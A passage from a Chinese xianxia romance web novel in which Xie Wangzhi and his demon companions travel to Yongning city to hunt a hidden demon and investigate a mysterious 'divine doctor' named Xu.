白青崖恋恋不舍将他松开,取出巾帕,捧着他的手,一根根指头仔细地擦过去,长睫低垂,神色专注。 过了会儿,他忽然道:“你是从什么时候发现我是那只狼的?” “狼?”谢妄之轻轻挑眉,忍不住又逗弄对方,“难道不是一只乖狗狗么?” “……”白青崖抬眸瞥他一眼。 “不是么?”谢妄之看着对方笑。 “……是。是狗。”白青崖轻叹一声,又垂下眼继续擦。 谢妄之满意了,如实相告道:“第一次看见你原身的时候,我就猜到是你了。怎么,你忽然问这个做什么?” 白青崖抿唇不答,脸颊与耳廓还残余着未褪的热,此时看上去愈发红润。 谢妄之见状,忽然想到第一次与司尘见面的时候,便试探问:“季节到了?” “……嗯。” 果然,白青崖轻点了下头,脸颊红得快要烧起来,脑袋上都快要升起一缕白烟,强撑着把他的手擦完还给他。 但是过会儿又重新捧住他的手,把脸颊置入他掌心,嘴唇微扁,像条狗一样摇尾乞怜,低声道:“能陪我么?” “你们这个,一定要有人陪么?”谢妄之没有马上应,有些好奇。 “别人我不知道。”白青崖摇了下头,眼神更加可怜地看着他,“但是没有人陪我的话,我会很难受。” 白青崖记得,他刚刚成年的时候,第一次迎来发热期,根本不知如何处理,只能躲起来,独自捱过。 后来他实在受不住,强撑着依循本能去找谢妄之,却发现对方和裴云峰在一起。 那时候,他清晰听见自己磨牙的声音,差点就要扑咬上去。 第32章 奴绝不会伤害公子。…… 谢妄之两人从客栈回到白家继续上课。当然,白青崖把自己的课桌搬了回来。 一连几日,裴云峰除了在众人面前还装装样子,私底下碰见谢妄之他们连招呼都不打,冷着脸擦肩而过,明显是还气着。 而谢妄之早消了气,虽有些心虚,但到底有恃无恐,也怕到时候又要发生点什么,自己身体受不住,没有马上去哄人。平日想听课就认真听,听得犯困了就继续画他的画。 这一次,白青崖总算逮着机会看他到底画的什么,谢妄之刚放下笔,还没来得及自己欣赏一下,白青崖就立刻抽走他的课本,又把自己的给他递过来,跟他交换。 之后,对方就垂眸翻来覆去盯着几幅画仔细研究,微蹙着眉,目光一瞬不瞬,模样比听课还认真。 谢妄之眉峰一挑,倒也觉得无所谓,便就着白青崖的课本看。与他自己的相比,白青崖的卷面相当干净整洁,字迹娟秀端正,页脚平整,非常赏心悦目。 正认真听着课,他的衣袖忽然被人轻轻一扯,引他微侧过头去看,轻声问:“怎么了?” 却见白青崖面色红润,抿着薄唇,像是不好意思开口,竟找了张空白宣纸撕了一小半,提笔在上头写了一句话,折了两折给他递过来,示意他看字。 “……?” 谢妄之只觉莫名其妙,拆开字条一看,只见上头写的是:“你喜欢玩那样的?” “什——”谢妄之下意识张嘴问,话音刚出口又顿住,也跟着在字条上写:“什么样?”写完又给人递回去。 这次对方没有递纸条回来,而是直接将他的课本推到他面前,伸指在书页上画的人像轻轻一点示意。 只见书页上,一幅画像几乎占据了整个篇幅,喧宾夺主,将底下印刷的字迹尽数覆盖。黑色的线条从书页边缘向内延伸,似绳索般捆束着一名衣衫褴褛的男性青年。 画中人低垂着头,墨发披散,看不清五官。四肢被缚,呈一个极尽屈辱的姿势。身上伤痕累累,犹在挣扎,肌肉都绷紧,却被绳索束缚,向两侧微鼓。模样分明可怜凄惨,却透着难言的欲色,愈发招人欺凌。 而且一旦想歪,他身上的那些伤痕便越看越觉得是…… 床笫间被欺负惨了才会留下的。 谢妄之睁大了眼,这才反应过来自己到底画了什么,只觉面上微热。 其实这些画他都是随意画的,当时脑子里想到的是什么画面便画什么。 而他在刚刚下笔的时候,正好听到先生讲“入魔”,脑中一下子就出现了这个画面,他也没有深思,竟是就这样画了出来。 但他不知道自己为什么会想到这个,实在毫无缘由。 见他不答,白青崖不知想了什么,嘴唇抿紧,耳廓愈发红了。过会儿又给他递了纸条过来:“没关系,只要你喜欢,我就陪你。” “……”谢妄之垂眸瞥见,不由更加羞恼,故作冷漠地没有理会。 而白青崖继续递纸条:“你喜欢做哪一方?” 谢妄之才看完,紧接着又是一张递过来:“我都行,看你。” “……”谢妄之恼了,一把撕下自己的画揉成一团。接着又把所有的纸条拢在手里,用力一捏,纸条和画都当场灰飞烟灭。 白青崖一怔,虽不解他为何忽然生气,但也没敢再惹他。 而一直悄摸注视着谢妄之的裴云峰,将一切收入眼底,若有所思地轻抚着下颌。 * 又过几日,游学进入新的阶段。在别家是演武比赛,但白家是自由组队接取委托外出除妖,为期至少一月。 北荒幅员辽阔,妖魔横行,光靠白家驻守在各地的力量其实远远不够。即便是安全区域,也时常会有妖魔潜入,迫切需要更多支援。 相比单纯的斗法切磋,组队除妖其实更有意义,但除妖过程远不如斗法轻松。因为或许会有人在除妖程中丧命。 当然,除魔卫道对于每个修仙者而言义不容辞,也没有人敢明目张胆地拒绝白家的安排。 此时,谢妄之一行站在一条官道的分岔路口上,举着寻妖罗盘侦测妖气往哪个方向流动。 受环境影响,白家精于此道,这一方面的装备与技术放眼整个修仙界都算是顶尖。 那副罗盘不过巴掌大小,由特殊的材料制成,通体晶莹,一枚小巧磁针卧在中心的天池,边缘一圈标有方位刻度,磁针尖端指向的便是妖气流动的方向。若是四周都有妖气,则优先指向妖气最浓郁的方位。 不过,总有妖魔善于藏匿自己,越是强大的妖邪便越难被侦测出来。但若是妖气太微弱,也有被忽略的可能。并且,能不能侦查出来也受当时所处环境、使用者自身的影响。 这东西放市面上可不便宜,侦测越准的越贵,价格区间极大,总有缺德道士借此骗钱。而为了方便学生们捉妖,此行白家给每支队伍都发了一个。 谢妄之掐诀念咒,往寻妖罗盘里输入灵力。 只见中心天池猛地发出一阵灵光,小巧磁针飞速旋转起来,但片刻后仍无法稳定指向某一刻度,甚至不停呈相反方向乱晃。 他反应过来,抬头扫了眼队里的好几只妖,无奈道:“你们把身上妖气都收收。” 裴云峰担任助教一职,有必须要履行的义务,没有办法一直跟着谢妄之。此时,他们队里有四人,不,是一个人,三只妖。 “……”白青崖扫了眼队里的另两只妖,有些不满地蹙眉,“你身边太多妖了,再收敛也没用。” “哦。”谢妄之轻应了声,将罗盘递给白青崖,眉峰一挑,笑着调侃,“那怎么办?本公子就顺势将你们都除了?” “……哼。”白青崖微微一怔,随即撇开头冷哼了声。 “开个玩笑,别生气嘛。”谢妄之忍俊不禁,抬手摸了摸狗头以示安抚。 “……”白青崖温驯地低下头任他摸,耳廓微红,却有意无意地轻瞥了另两只妖一眼。 司尘见状,眼眸一暗,当即凑上来牵住谢妄之的手,轻轻来回摇晃着撒娇,委屈巴巴道:“主人,你忍心么?” “放心。”谢妄之也顺手摸了摸司尘的脑袋。 而站在一边的池无月也有些忍受不了。 他也想像司尘一样撒娇,甚至奢望像白青崖一样,只要表现出不高兴的样子,谢妄之就会主动来哄。 可他直到现在都清晰记得,那天他主动凑上去服侍谢妄之时,撞上对方冰冷讥嘲的目光,还对他说,“可是我嫌恶心”。 最初,他出手伤了贵客,被罚跪在谢家的清明堂时,谢妄之没有庇护他,相反还当众赐了他奴印。那时他对谢妄之的态度转变欣喜若狂,一直到现在都任由对方颐指气使。 他以为谢妄之已经“跳脱到话本之外”,不再是一个没有生命的牵线木偶。在这片无尽轮回的深海里,在他快要溺水之时,那样真实生动的谢妄之仿佛是漂到他身边的唯一的浮木。 长久的寂寞令他本能地拼命抓紧了浮木。他也想让自己得到解脱。 可不知道为什么一场梦之后,他忽然就对谢妄之产生了浓烈的感情,又任由那样的感情驱使着自己行动。 无独有偶,在灵芜谷秘境里,他被蝶妖迷惑陷入幻境,可他梦到的场景好像与他记忆中的不太相同。 可从幻境中脱离,见到谢妄之和蝶妖纠缠在一起,他根本没有余裕仔细思索,便被那一瞬强烈的嫉妒与愤怒驱使着攻向了蝶妖。 甚至连那奇怪的“黑雾”他都不知道是怎么来的,只记得,在裴云峰带着人找他麻烦之前,他一直是个普通的人类。他也很确信,在从前的每一次轮回中,自己并不是妖。 可现在,看到那寻妖罗盘的磁针大部分时间都对准了自己,他无论如何都无法再自欺欺人。他不知道自己到底是人还是妖,若是妖,到底是什么妖,又都有什么能力。他只是一直在被本能驱使。 他陪同谢妄之进入灵芜谷秘境,又离开谢家一路北上到北荒白家游学,这一段“故事”,他的轮回记忆中根本没有。甚至就连一路遇上的人,譬如崔岫、裴云峰、白青崖,也与他记忆中的大相径庭。 或许这可以理解成,因为谢妄之变得不同而带来的一些后续变化,“话本故事”已经被改写。 但他做的那两个梦实在怪异,他也分不清自己又到底是人还是妖,这令他想不出理由说服自己。 在谢妄之故意冷落他的这段时间里,他总算能好好整理思绪,可整理之后得出的结果是,他明确感觉到自己的记忆出现了混乱与缺失,可是他不知道该怎么办。 无措的恐慌令他更加依赖本能,也更加依赖谢妄之。但谢妄之很明显不再向以前一样宠爱他,即便那样的宠爱只是上位者的施舍。 他竟然开始想着,如果谢妄之不变就好了。 但这样的想法只出现了一瞬。 归根结底,他只是想要得到谢妄之的注视。 即便他整理完思绪,他依然被本能驱使,没有改变。 他忍不住微垂下头,轻声道:“奴绝不会伤害公子。若有那一日,奴会先替公子了结自己。” 第33章 公子不能像以前一样对待…… 池无月话音落下,几人同时朝他看去,空气一时静默。司尘和白青崖微微眯起眼睛。 片刻后,是谢妄之一声极轻的嗤笑打破沉寂:“呵。你以为你的奴印只是画着好看?” 他抱起双臂,下颌微抬,神色冰冷讥嘲。 只要这奴印还在生效,池无月就伤不了谢妄之一根头发。 言下之意,池无月在此时表忠心,对谢妄之而言没有任何意义。 池无月闻言不由面色一白,随即抿紧嘴唇,脑袋埋得更低。 “既然罗盘用不了,”谢妄之却没再理会池无月,当即转头与白青崖说话,“你应该能嗅到妖气吧?你来带路。” “嗯。” 虽被当成狗一样使唤,但白青崖面上并无愠色,立即点头应声。鼻翼轻轻翕动几下,很快嗅出妖气,率先走在前头。 谢妄之和司尘跟了上去。 走了几步,谢妄之发觉耳边少了一人的足音,下意识驻足回头,果然发现池无月还低着头站在原地,不由蹙眉道:“怎么还不跟上,杵在那做什么?池无月,池无月?” 他连喊了两声,未想到,池无月跟没听见似的,就是搁那站着不动,还撇过了头。像是受了委屈,脾气又犟,故意跟家长作对的孩子。 “……”谢妄之眉头蹙得更深。 见谢妄之因池无月沉下脸,司尘愉悦得额顶触角不住轻轻颤动。 但他面上还是装作乖巧而贴心的样子,又牵住谢妄之的手轻轻摇晃,故意提高了些嗓音劝道:“主人,他不想跟上就不要管他了吧,反正他一个人在外面也不会有事的。” “嗯。前面就是城镇了,我闻到的那只妖应该就是潜伏在城里,我们可以早点过去,先找个地方安顿下来,然后多找人问问。” 白青崖回头扫了眼他们,也点头附和,还难得说了句这么长的话。唇角微微勾着,眼中却冰冷。 都喊了两遍了,一个下贱的奴隶而已,不过是受了一点委屈,难道还要主人亲自过去请吗? 依照谢妄之的脾气,他肯定不会再管。 身边能短暂地减少一个情敌,自己分到的注意力便会更多,这样的好事令两人都窃喜。 但未想到,他们都猜错了。 谢妄之沉默了会儿,忽然道:“你们先走。” “……?” 另两人闻言不由微微一怔,不约而同看向谢妄之,却见他表情认真,看来是已经决定好了。 白青崖沉默地撇开头,暗自咬紧了牙,颌角都微微鼓起。方才他有多高兴,这会儿就有多难受嫉妒。 他知道裴云峰一直就谢妄之养了个奴隶的事不停与谢妄之争吵,虽然他自己也看不惯,但曾经他确实得了偏爱,心里就隐隐觉得,裴云峰的做法没必要。 但如今……他突然很能理解裴云峰。 司尘攥紧了谢妄之的衣袖,勉强维持着乖巧的笑容,又劝道:“主、主人,没必要吧?他一个人也——” “我知道。”不等司尘说完,谢妄之就打断了他,“你们先走。” “……是。”司尘不甘地咬了下嘴唇,眼神微暗,但也不敢再多说什么,慢慢松开了手。 等两人都离开,谢妄之才走向池无月,又抱起双臂,微抬下颌,冷嘲道:“怎么,你是觉得委屈么?觉得本公子哪儿说错了?” “没有。”池无月仍低垂着头,两个字音咬得有些重,明显还在赌气。 “呵。” 谢妄之嗤笑了声,猝然伸手掐着对方的下颌往上抬,迫使人昂起头与自己对视。他微微眯眼,嗓音压低:“那你就是对本公子有意见了?” “……” 面前人似是猝不及防,微微睁大了眼,从眼眶爬出的黑色蛛丝在他的注视下飞快缩了回去,随即眼尾泛起潮红,又撇开视线,低声道:“奴不敢。” “本公子倒是觉得,你没什么不敢的。” 谢妄之冷笑了声,拇指指腹轻按在对方嘴唇,来回细细摩挲,一面轻声续道: “先是大庭广众之下令本公子难堪,后来又未经允许擅入本公子的卧房,再是以妖魔身份擅闯白家,险些让他们以为我谢家存心挑衅……这几桩,本公子还未与你清算呢。” 面前人任他动作,长睫轻颤几下又乖顺垂落,过会儿才回道:“奴知错,请公子责罚。”说话嗓音莫名有些哑。 “哼。现在才知错么?” 谢妄之却将对方松开,鼻腔轻轻溢出一声冷哼,随即转过身就走。走两步没听见池无月的足音,又微向后侧过头,蹙眉道:“还不跟上?” “公、公子……”池无月微微一怔,下意识要迈步跟上去,半途又停住,张了张嘴又抿紧,欲言又止的样子。 “说。”谢妄之微抬下颌示意。 池无月犹豫了会儿,终于还是忍不住问:“公子为何突然……这么讨厌奴?” 话匣子一开,池无月便止不住了,顿了会儿又继续道:“敢问公子,奴究竟是哪里做错了,为何公子要这样……公子不能像以前一样对待奴么?” 对方越说越委屈,轻咬着嘴唇,眼尾的红色愈加艳丽,眼睫颤抖,眸光潋滟,模样好不可怜。 而谢妄之却沉默下来,神色冷漠,眼神微暗,无动于衷。 诚然,他从前对池无月相当宠溺纵容,却在一夕间毫无缘由地就对其转变了态度,肆意羞辱,任是谁都会觉得不适应。 这全都要归结于他做的那场梦。 若不是那场梦,他不会知道原来池无月一直将他的殊待视作耻辱,表面上听话乖巧,实际是忍辱负重、伺机而动,一直拒绝与他亲密,全是因为嫌他恶心。 所以对方才会在他陨落时毫不犹豫离开,即便后来青云直上,也从未想过回头帮他。 其实他梦见了很多事,醒来之后也只是记得个大概。 可被剜去剑骨沦为残废之后只能屈辱地活着,他记忆相当深刻,好像已经经历了无数次,直到现在仍不时回想起来。 每想起来一次,他就恨一遍忘恩负义的、虚伪的池无月,再恨一遍投了赞成票的裴云峰。 但最恨的,是执意将池无月留在身边,又为了池无月与裴云峰争吵,最后使感情深厚的多年至交与他形同陌路的自己。 可他要怎么惩罚自己呢?而且他根本不愿承认是自己的错。 于是他迁怒了池无月,肆意羞辱对方。 可是他很快发现,现实的池无月好像与他梦中的不同,但他不敢确定,他恨意难消。 与此同时,即便他恨,即便再重来一次,他还是喜欢池无月那张脸,他还是会对那张脸心软。这令他更痛苦,于是恶性循环。 接着是“池越”的出现。他恨池无月,自然也迁怒了池越。但相比较池无月,他其实更讨厌池越一些,即便两人共用一个身体,长着同一张脸。因为池越总是我行我素,还三番四次地强迫他。 自梦醒到现在,已过去两月有余,身边的人和事好像都渐渐与梦中的经历不同。这段时间里,除了池无月在整理自己的思绪,谢妄之闲暇之余,也有在认真反思。 好不容易与反目的多年至交重修于好,只要裴云峰不再背叛他,他愿意继续这样的关系。他原先就偏爱白青崖,而且对方其实也没做错什么,这一次他继续偏爱也无所谓。 小蝴蝶就更不必说了,从前就与他无冤无仇,这下都已经成为他的奴隶了,左右都伤不了他,不需纠结,从心便可。 唯独池无月,他直到现在都不知道该以什么样的感情去面对。 亲近吗?他不太乐意。 继续羞辱?可是这一次对方的表现姑且与从前不同。 而且其实拿一个虚无缥缈的、无法对证的梦来比对现实的情况,甚至去报复真实的人,传出去,不论是谁都要说一句“荒谬”。难道他谢妄之是这样蛮不讲理、不可理喻的人吗? 可是他好像已经习惯了去“恨”,这好像是他刻在骨子里的本能,好像他就是该恨。即便现在的“恨因”开始有些站不住脚了。 尽管如此,要他现在亲近与释然是不可能的。他只愿意在心情好的时候,如同上位者一般偶尔施舍几分。 ……一定是不可能的!他耐心有限! 空气长久静默,池无月还在等着谢妄之的回答,可对面始终没有回应。 他像是已经得到了答案,低垂下头,尽力憋着哭,颤抖着声音说:“奴、奴知道——” 不等他把话说完,头顶忽然落下一只手掌,不轻不重地来回摸了两下,又很快就松开,随即视野里划过一片墨色的衣摆。 他怔了怔,下意识抬起头,发现谢妄之已经走出去些距离。 可他头顶的温度仍残留。 视野顿时更加朦胧,他咬着唇,颤抖着也伸手覆上自己的头顶。 第34章 捉妖 谢妄之两人回去时,在半途便撞见了白青崖和司尘,他们并未走远,明显是故意放慢速度了,没准还偷听。但谢妄之并未在意,四人一起入城。 此行他们循着妖气往扶摇城的东南方向去,到达北荒仅次于扶摇的第二大城镇,永宁。 越是人多的地方越鱼龙混杂,但相较于就在白家眼皮子底下的扶摇,妖魔会潜藏在永宁的可能性更大一些。 离得远时,白青崖嗅到的那股妖气浓郁而集中,明确指着永宁城的方向。未想入城之后,他发现这里的妖气变得寡淡而分散,还与城中栽种的花卉香气掺在一起,愈加难以分辨。 更令人意想不到的是,街道上的行人竟然各个身上都或多或少缠着几缕妖气,但分明他们不是凡人就是修士,怎么看都与妖邪无关。 这实在很不正常。哪有聚集着这么多修士的城镇还满城都是妖气?难道那些修士都是吃白饭的么? 白青崖当即去找了伏妖司,谢妄之几人跟在他身后。 伏妖司,是白家设在管辖境内,专门管理除妖一系列事务的地方。城里潜伏着妖魔,伏妖司不可能放任不管,他们去伏妖司大概就能了解到相关情况。 一见尊贵的白二公子亲自登门视察,司里有认识他的人立刻殷勤迎上来,满脸堆笑道:“不知二公子莅临,属下有失远迎,还请二公子恕罪。” “客套话就不必说了。”白青崖神色冷漠地抬手制止,开门见山问,“永宁城里藏着妖,你们知道么?” “这……”迎上来的几位修士面面相觑。 为首的那位修士温和地笑了一下,“除妖乃是我等的第一大要务,司里的诸位丝毫不敢懈怠。敢问二公子何出此言?可有证据?” “城里有妖气。”白青崖言简意赅。 未想到对方摇头否认: “属下每日都用寻妖罗盘侦测,还派人日夜不停地在城中巡逻,分明测不出城里有妖气,近来也无人上报异常。正因如此,前不久属下还派了人去别处支援。不知这城里有妖气,二公子如何得知?不若二公子再用寻妖罗盘测一测?” “……”白青崖微抿起嘴唇。 这倒是把他问倒了。伏妖司用的寻妖罗盘,自然是白家制作分发的,城里那样微弱的妖气测不出来,总不能说是他闻到的吧?而当着人面用寻妖罗盘,只会令他的身份暴露,到时麻烦一大堆,得不偿失。 对面被他“污蔑”办事不力、窝藏妖魔故意瞒而不报,面色并不见恼,视线轻掠过站在他们最末的司尘,微微勾唇,摊手道:“而且,若要说城里有妖,二公子身后,可不就站着一个么?” “那是本公子养的奴隶。本公子又不是你们白家人,养一只妖做奴隶,你管得着么?” 谢妄之抱起双臂,嗤笑了声,“自己未侦测到妖气,不好好反思,还指责别人,更是怪到本公子身边。难道大人平日都是靠一与眼梧张嘴在捉妖么?还是白二公子在你眼里毫无威信?” “这……”对方面色微白,恭顺低垂下头,“属下不敢。” “呵。”谢妄之冷笑了声,没再说话。 他们现下确实拿不出证据,相互说服不了谁。但对方是这样的态度,明显有问题。最好的解决办法是,他们离开这里,然后亲自去把那只妖捉出来。反正这也是他们此行的目的。 白青崖也没再与对方争辩,客套都懒得,当即转身就走。几人也跟上。 司尘振翅快走了两步,捉起谢妄之的手放到唇边轻吻了一下。 * 谢妄之站在路边观察人群,眼角余光瞥见白青崖微蹙着眉,盯着一个过路的小少年看了好一会儿,便轻捅了下对方的胳膊,问:“怎么了,那孩子有什么问题么?” 几人出了伏妖司,决意先用最简单的方法试探一下。 既然居民们身上都有妖气,大概率都与那只妖魔接触过,可以直接向他们打听。 “嗯。”白青崖轻轻点头,“他身上的妖气比旁人重一些。” 闻言,谢妄之当即大步过去,伸手给那孩子拦住,手臂揽着对方的肩膀,把人往白青崖身边带,“先别走,哥哥问你些事。” “哇!你、你们要干嘛!” 少年被吓了一跳,瞪着眼睛,神色警惕地要挣脱谢妄之,但他是决计挣不开的,只得被迫跟着走。 他抬头见谢妄之几人一个个衣着华贵、面容俊美,神色又肉眼可见地放松了些,微微沉下肩膀,只是有些不满,“我只是一个小孩子,知道的又不多。你们要问什么?” “你是永宁的本地人么?”谢妄之微俯下身,随意给人递了个新奇的小玩具,“在这生活多久了?” “啊,谢、谢谢哥哥!”少年惊喜地睁大了眼,戒心被大幅削弱,捧着小玩具仔细把玩了好一会儿才顾得上答话,“我不是永宁城的人哦,我是上个月才来的,不过现在是住在这里。” “你和爹娘一起来么?为什么?” “是的,因为……”少年点点头,又抓了下头发,“我小时候一直生病,爹娘给我请了好多大夫都没治好,后来他们听说永宁城有个包治百病的神医,就带我过来碰碰运气。没想到那位神医真的治好了我,我们就在这住下了。” “好吧。那你来永宁城之后,有经历过什么特别的事么?” “特别?嗯……”少年蹙着眉思考了会儿,摇摇头,“病好了以后,我每天都上街玩,过得很开心,没有遇到什么特别的事呀。” “这样啊,那不错。”谢妄之顺手摸了摸少年的脑袋,“那你还记得那个医馆怎么走么?” “不记得了,是爹娘带我去的。” “行,我问完了,你去玩吧。病好了以后也要多注意身体。”见少年摇头,谢妄之便将人松开,又拍了拍对方的肩膀。 “好,谢谢哥哥。” 看着少年走远,谢妄之转头对众人道:“虽然也没问出什么,但是走吧,我们先去医馆看看。” 其余人没有异议。 之后,他们找旁人问了路,顺利找到那家医馆。 却见里头是个青年男人坐诊,相貌斯文,一身书卷气,是个彻头彻尾的凡人,身上也和别人一样,缠着几缕若有若无的妖气。 而整家医馆看上去也普普通通,除去名气大了,来问诊的病人多了些,实在没什么特别的。 倒是有个抓药小童,生得白白净净,身上竟然一丝妖气也无。不过他也是个凡人,身上没有妖气很正常,只是在永宁城显得不正常罢了。 为避免打草惊蛇,几人站在远处观察了会儿,没瞧出什么异常,只好暂且放下这个线索,换个思路。 之后他们又找了几个过路人打听,都没问出什么有用的。不过,尽管他们并未刻意引导,几人都不约而同地提到了“神医”。 寻妖罗盘用不了,城里的妖气淡而散,白青崖一时半会儿也分辨不出主要的方向,众人便暂缓行动,转去城中消息最灵通的地方打听打听。 几人沿街往回走,踏进城中最大的酒楼。眼尖的侍堂小厮见他们衣着与气度均是不凡,很快殷勤地笑着迎上来,躬身做请,“几位客官,里面请!” 他们由着小厮领路,在大堂中坐下。谢妄之随手递了一把灵石过去,“本公子和几位朋友初到永宁,不知这儿有什么特色,你给我们介绍介绍。” 侍堂小厮是个凡人,谢妄之递的那把灵石换成凡人间流通的银钱,少说抵上他一年半载的收入。 “仙长大气,多谢多谢!” 他当即睁圆了眼,快速将灵石拢进衣袖里,又将菜单往几人面前一摆,笑眯眯道: “几位仙长若是要问这个,那可真是问对人了!仙长们一路舟车劳顿,这时候最适合先来一壶咱酒楼里的冰镇桂花梅子酿,再搭上一碗拌仙果,口感酸甜清爽,最是解乏。这是咱家的招牌,好些人来永宁都要特意尝一尝。接着一定要再尝尝咱家的……” 小厮显然“训练有素”,句句都是推销他们家酒楼的菜色,描述得十分生动具体,眉飞色舞,隐隐有几分自豪,想来味道应该不会太差。 谢妄之听了会儿,点头打断道:“行,你方才说的都上一份。永宁还有别的特色么?” “好嘞!一会儿吃过了咱们家的菜,小人再推荐几位仙长到永宁江边逛逛,夜晚江边的景色可美哩!到点了还有……” 小厮搓了搓手,乌黑眼珠转了圈,像是将谢妄之一行当成人傻钱多的纨绔,又继续推销,一直都说不到点上。 谢妄之不由面色微沉,手指轻点了点桌面,直言问:“永宁城里最近有发生什么特别或者奇怪的事么?” “这……” 小厮面色微僵,果然是知道一点什么,谨慎地左右看了看,这才凑近他们,面色愁苦地低声道: “哎,是仙长大人们执意要问,小的才告诉您,还请大人们莫要将此事传出去,就算传出去,也千万不要说是从小的这儿知道的。” 第35章 他想让谢妄之的全身都染…… “别废话。”谢妄之快被耗尽了耐心。 “哎,是、是!”小厮连连点头,将嗓音压得更低,手掌虚掩着嘴唇,“不知几位仙长听说没有,咱永宁城有位神医,姓许。” 怎么又是神医?几人不动声色相视一眼。 “外面都在说那位许大夫医术高明,药到病除。但小的可不敢给他看病,因为……”小厮神色嫌恶地摆摆手,“许大夫,他根本不是人!” “你怎么知道?”谢妄之眉峰一挑。 “仙长别急,你听我说。小的家里有位暂住的亲戚,算是表哥吧,以运镖维生。几个月以前,他刚替人从永宁送了批货到西北那块,就是闹瘟疫的那地方。 “家里也劝他,那地方多危险啊,要是到时候他一不小心染了病可怎么办。但是也没办法呀,为了钱,为了养家糊口嘛,我表哥咬牙就去了。哎,然后呢,他还真染了病! “但是他刚回来的时候还好端端的呀,大家也不知道他染了病,只是有一天他忽然发了高热,之后整个人就变得疯疯癫癫的,可不就是得病了么!想必您也知道,镖师平常接触的人可多了,恐怕表哥已经不知不觉地把病传给了别人,到时永宁也开始闹瘟疫,他可不就成罪人了吗! “我们一家也害怕呀,赶紧送他去看了大夫,就是先头说的那位许大夫。许大夫说能治,就是每天都要去他那儿取药,一日都不能断,去早去晚都不行。那时家里就我得闲,这每天取药的担子就落小的头上。 “本来这也不是什么事。坏就坏在,有一日,小的去早了,恰巧就撞见那许大夫在抓药。他、他……” 说到此处,小厮眼神忽然呆滞,什么话都说不出来,大张着嘴,而后竟是猛然伸手用力掐住自己的脖子! 几人同时面色一凛。谢妄之当即放下茶杯,五指一握,空气中亮起几道冰蓝丝线,缠着小厮的双臂用力扯开。 仿佛有一股无形而充满压迫感的力量,在与谢妄之用灵力聚起的丝绳对抗。那小厮拼命挣扎着又抬手掐住自己的脖颈,手背青筋浮起,脸颊与脖颈逐渐胀得通红,看上去是非把自己掐死不可。 见状,谢妄之不由蹙眉低喊了声“司尘”。对方会意,只一个眼神便令那小厮中了幻术。 只见那小厮动作僵滞,接着神色逐渐安定下来,剧烈咳嗽了好一会儿,又神色痛苦地捂住脑袋。 片刻后,他终于恢复了正常,却好像不记得方才发生了什么,又扬起一个殷勤的笑,脖子上还明晃晃挂着青紫的手印:“几位客官,你们要吃点什么?若是不知道点什么,小的最推荐——” “不必说了,”谢妄之挥手打断,“把你们的招牌都端上来。” “好嘞!几位客官稍等片刻,佳肴马上送来,包您满意!”小厮很快退了下去。 等人走远,谢妄之转头问司尘:“你能像先前一样,直接让我们看到他的记忆么?” 未想到司尘摇头:“不行。我方才便试探过了,他的记忆很模糊,看不清楚。应该是被某种禁制拦住了。” 白青崖道:“他身上的妖气也很重。” “我们来这半日,几乎所有见到的人身上都缠着妖气……”谢妄之轻抚下颌思忖,又问白青崖,“伏妖司那些人身上有么?” 妖邪之间通常能相互察觉到彼此的妖气。若不是白青崖在,还有谢妄之故意使坏把人当狗一样使唤,追踪妖气的任务便会落到司尘或是池无月身上。当然,种族原因,白青崖的嗅觉确实更灵敏。 修为高深或是天赋异禀的修士也能察觉到妖气,但通常也只是在妖气过于浓郁、掺着血腥气或是妖魔释放出明显敌意时能察觉到。 白青崖摇头。 另一边的池无月却点头道:“有。” 他这一句顿时吸引了另几人的目光。白青崖微微眯眼。 “嗯?”谢妄之眉峰一挑,侧头看去,“你闻到了?” “不是,是看到的。”池无月轻轻摇头,“他们身上的妖气集中在腹部,颜色很淡。城里大部分人的妖气也都集中在腹部,颜色有深有浅。但刚才那个人的妖气集中在咽喉。而他们身上妖气的颜色是一样的。” “哦。”谢妄之有些意外,“你这能力倒是挺方便。” “……嗯,奴有帮上公子便好。”池无月低垂下头,面上乖巧应声,唇角却勾起一个自嘲的笑。 方便吗?他倒是希望自己看不见。 从前他还不知道自己是妖时,根本没看见什么妖气,就算看见了也不知道那是妖气,更不知道妖气原来还能用特别的方式沾染到他人身上。 直到司尘第一次服侍谢妄之的第二日,他看见谢妄之身上染了几分日光般的淡金色,集中在胸膛与下腹,颜色与司尘身上的妖气一模一样,他才反应过来。 从那时开始他便想着,他要让谢妄之的全身,包括体内,都染上自己的颜色。 但是另有他人捷足先登。 他从不知道原来他能看得那般清晰。 青色的荧光涂抹在唇瓣、舌头、上膛与两壁。余下则从耳廓蔓延至脖颈、胸膛,再到下腹与腿根。颜色由淡转浓,星星点点,密密麻麻一片。 明知道那代表着什么,他却近乎自虐地移不开目光。 他不敢想象若是那妖气再过分些,出现在别的地方,他会不会发疯。 思及此处,池无月不由呼吸微沉,攥紧了手指,直到掌心传来刺痛才勉强克制住胡思乱想,听清了谢妄之说话的声音: “……所以,那医馆我们还是要再去一趟。” * 夜深人静时,谢妄之一行悄悄潜进那家医馆,留一人在外头放风。 问诊的前院屋门关紧,里头并未点灯,漆黑一片。后院大约是那位许大夫的休息处,竟是灯火通明。 谢妄之收敛气息,足尖点地,身形拔地而起,轻盈落在屋瓦,半跪下身,缓慢小心地揭了一小片,探身从那缝隙中向里头看去。 还未看清里头情形,一股混着血腥味的草药香猛然扑面而来,竟有些呛鼻。他微微敛眉,屏息继续看。 却忽然闻见里头的人扬声道:“既然来了,还藏什么?出来。” 是道年轻的男声,嗓音低沉而温润。大概是白日他们见过的那位神医,倒是符合对方的斯文长相与气质。 谢妄之眉头蹙得更深,不觉得对方是发现了他。而一起进来的另两人与他分头行动,此时并不在附近。 他按兵不动,静观其变。 片刻,里头的人冷笑了声,语气嘲讽,温润嗓音变得有些尖锐。他道:“未想到尊贵的大小姐,离开许家以后,有朝一日竟做起贼来了。” 果然,那人并不是发现了谢妄之。 又等了一会儿,靠屋宇外边的位置传来一阵窸窣声响,有人推开窗户翻了进去,轻轻摩擦了下手掌,大概是在拍去尘土。 接着,竟是传来初晴姑娘的声音:“哼,彼此彼此。二公子不好好做你的少家主,竟跑到这地方开个小破医馆。不过是假借些不入流的手段治病,倒被捧成神医了。真是荒谬。” 闻言,谢妄之不由眉峰微挑。 世家之内并不以年龄进行排行,主要综合修为实力、名誉等,排行第一的通常是下一任家主。 谢妄之早猜到初晴姑娘的身份不简单,未想到这位许神医也是,甚至两人的排名都这么靠前。 不过倒也可以理解,天下医修,半数都出自许家。 “呵,不入流?”许二公子冷笑了声,“能把病治好就行,管他用什么方法。” 似乎他仍然在进行着什么工作,传来一点研磨的声音。 但以谢妄之现在的角度看不见两人的身形,便轻手轻脚地挪了个位置。 